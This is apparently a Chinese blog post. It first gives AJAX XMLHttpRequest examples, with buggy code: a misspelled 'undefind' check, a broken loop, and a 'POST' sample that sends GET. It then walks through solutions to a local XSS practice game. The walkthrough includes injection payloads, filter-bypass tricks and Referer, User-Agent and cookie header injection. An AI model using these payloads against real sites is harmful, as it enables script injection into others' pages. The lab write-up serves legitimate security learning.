 

 responseXML

 得到 XML 形式的響應數據。

 

 

 

   status

服務器的相應HTTP狀態碼

 

 statusText

 http狀態對應文本

 

 

 

 

 

 

 

 

 

 

 

發送一個GET請求

 

<script>

 

  function createXHR(){

 

   if(typeof XMLHttpRequest !='undefind'){            //非IE6的建立Ajax的辦法

 

   return new XMLHttpRequest();

 

   }else if(typeof ActiveXObject !='undefind'){           //IE6的建立Ajax的辦法

 

           var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];    //IE6的xmlhttp版本有不少

 

           for(var i=0;version.length;i++){

 

            try{

 

             return new ActiveXObject(version[i]);         //本身去定義xmlhttp作成一個數組,遍歷循環,若是認識那個版本就去建立,不認識確定會報錯,因此用try catch 跳過報錯的環節,直接選到瀏覽器符合的版本

 

            }catch(e){

 

              //跳過

 

            }

 

           }

 

   }else{

 

   throw new Error("您的系統或者瀏覽器不支持ajax")      //若是瀏覽器對於數組裏的版本都識別不了,就報錯

 

   }

 

  }

 

 

 

 

 

  var  xml=createXHR(); //建立XHR請求對象

 

  xml.open("GET","web/url.php?"+data,true);  //初始化請求

 

  xml.send()   //和服務器創建連接併發數據

 

 

 

                

 

</script>

 

 

 

 

 

 

 

 

 

發送POSTajax 請求

 

<script>

 

  function createXHR(){

 

   if(typeof XMLHttpRequest !='undefind'){            //非IE6的建立Ajax的辦法

 

   return new XMLHttpRequest();

 

   }else if(typeof ActiveXObject !='undefind'){           //IE6的建立Ajax的辦法

 

           var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];    //IE6的xmlhttp版本有不少

 

           for(var i=0;version.length;i++){

 

            try{

 

             return new ActiveXObject(version[i]);         //本身去定義xmlhttp作成一個數組,遍歷循環,若是認識那個版本就去建立,不認識確定會報錯,因此用try catch 跳過報錯的環節,直接選到瀏覽器符合的版本

 

            }catch(e){

 

              //跳過

 

            }

 

           }

 

   }else{

 

   throw new Error("您的系統或者瀏覽器不支持ajax")      //若是瀏覽器對於數組裏的版本都識別不了,就報錯

 

   }

 

  }

 

 

 

 

 

  var  xml=createXHR(); //建立XHR請求對象

 

  para="id=11&username=diwada&password=12314"  //發送的數據

 

  xml.open("GET","web/url.php?"+data,true);  //初始化請求

 

  xml.setRequestHeader("Content-Type","application/x-www-form-urlencode");

 

  xml.send(para)   //和服務器創建連接併發數據

 

 

 

                

 

</script>

 

 

 

 

 

 

 

      XSS小遊戲 遊戲答案

 

第一關惟一和用戶交互的地方就是URL裏的參數

 

嘗試着把參數修改

localhost/xss/level1.php?name=<img/src=1  onerror='alert("1")'>

 

而後就彈窗了,第一關過了

 

 

 

第二關 表單裏的輸入框,只對  空格  / 作了轉義

"onmouseover=alert("s") //

使用」  vlaue 前面的雙引號過濾,添加事件            // 把後面的過濾

 

達到一個 移動 彈窗的效果

 

 

 

第三關

"仍是<>都跳不出value標籤,故咱們嘗試別的特殊字符,發現'號能夠跳出標

'onmouseover=alert(/xss/) //

 下次若是遇到狀況你也能夠用單引號試試

   

 

第四關

"onmouseover=alert(/ss/) //

 

 

 

第五關

 

 

它把事件加了一個 _  因此嘗試着用不須要事件的XSS來彈窗

 

"><a href="javascript:alert('xss')">2</a>//

「 >閉合前面的   // 閉合後面的          動態的添加一個a標籤

或者用

"><iframe src="javascript:alert(1)"></iframe>

 

 

 

 

第六關

"ONMOUSEOVER=alert(/ss/) //

 

第七關

"><a hrHREFef="javascriSCRIPtpt:alert('ss')">123</a>//

on href 都進行了消除,嘗試着用兩個或者是大小寫來繞過限制

"> 閉合前面的

// 消除後面的

 

或者嘗試這樣也能夠

"><span oOnOnnclick="alert('ss')">123</span>//  

進行繞過

主要仍是看他過濾了那一塊

或者是" OnoOnNmouseover=alert(`ss`) //

 

 

 

第八關

ri 進行了轉換 轉換成r_i     因此我對i 進行了編碼,

 

 

javascript:alert('ss')

 

 

總體達到的效果就是這樣

 

 

怎麼看有沒有實體編碼

 

第九關

對方對ri 進行了 r_i

」」進行了實體編碼

繞過的方法                                             

javascript:alert( ` http://` )                    `` 這個輸出的方法就是~這個鍵不加shift

 i   是i轉化後的效果

 

最終達成的效果  能彈窗

 

 

怎樣看到底有沒有被實體編碼? 其實很簡單,例如

我輸出 javascript:alert("http://")   利用firbug查看

 

 

右擊->編輯HTML 

 

能夠看到  "(引號)所有轉義了,

 

 

如今我嘗試對引號進行編碼

 

 

 

 

原來輸出的是 javascript:alert("http://")  而後對引號進行編碼 成爲了下面的

           javascript:alert("http://")

再放進去

 

能夠看到結果,而後右擊->編輯HTML

 

能夠看到,兩個引號仍是被轉義了, 這就是實體編碼了~~~

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10關

 

沒有任何輸出框,我嘗試着對變量進行XSS

 

如今經過firebug查看      

 

右擊->編輯HTML

 

能夠看到 <> 都被轉義了,如今嘗試進行編碼看看

 

 

這道題目搞了好久,都沒弄明白,因此破例查看的源碼

 

 

三個input 都隱藏了,你能夠用firebug 打開   能夠看到,雖然是三個,可是這邊只有name=t_sorf 的可以傳值, 因此咱們要在URL裏動態的添加參數,

 

 

能夠看到這邊已經有值了

構造payload  使它彈窗

http://localhost/xss/level10.php?keyword=good%20job!%20&t_sort=kk%22%20onmouseover=alert(/ss/)%20type=%22test%22%20//

 

t_sort=kk」 閉合掉前面的標籤

onmouseover=alert(/ss/) 彈窗

type=」test」 //  讓input顯示出來,而且用//閉合掉後面的

 

 

而後移到input 就彈窗了

 

 

 

新增知識點:適當的查看下網頁的源碼,看看input裏是否能傳值,是否被隱藏了

 

 

 

 

 

 

 

11關 ,一樣的也是研究了好幾個小時不明白纔看的

 

它這邊對 t_sort 作了實體編碼,無論輸出啥都沒用,可是對HTTP——REFRER  只作了<> 的替換

$_SERVER['HTTP_REFERER'];    就是referer (來源網址)

 

全部能夠在referer 裏構造XSS

 

在這裏,咱們新建一個tmp1.php頁面

 

內容就是提交到  level11.php  (第11關)

在頁面點擊提交

 

打開burp suite

經過抓包修改referer

http://localhost/tmp1.php" onmouseover=alert(/ss/) type="text"//

 

修改爲這樣

 

而後再放行就成這樣了

 

構造出了一個  input  移到這裏就彈窗了

 

 

 

 

 

 

 

 

 

12關

12關也是referer  過濾沒嚴格,它判斷了來源是什麼瀏覽器

打開firebug 能夠看到

 

 

 

這邊是判斷對方的來源 是什麼瀏覽器,咱們能夠在這裏構造XSS payload

 

經過11關跳轉到12關的這個對方,進行抓包

 

修改這裏的參數

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)" onmouseover=alert(/ss/) type="text" //

 

 

點擊forward 放行

 

 

而後12關就會出現 原本應該隱藏的input    移到哪裏就會彈窗

 

 

 

 

 

 

13關

 

13關的關鍵點在於 t_cook 這個參數

它的值是根據cookie 而定的,因此你能夠在線的去修改cookie 的值

 

 

 

 

再對頁面刷新下,就成功了~~

 

 

 

 

14 關由於如今的一些安全緣由,顯示不出來

 

15

http://bbs.ichunqiu.com/thread-15664-1-1.html

答案

 不玩了,沒意思

相關文章
相關標籤/搜索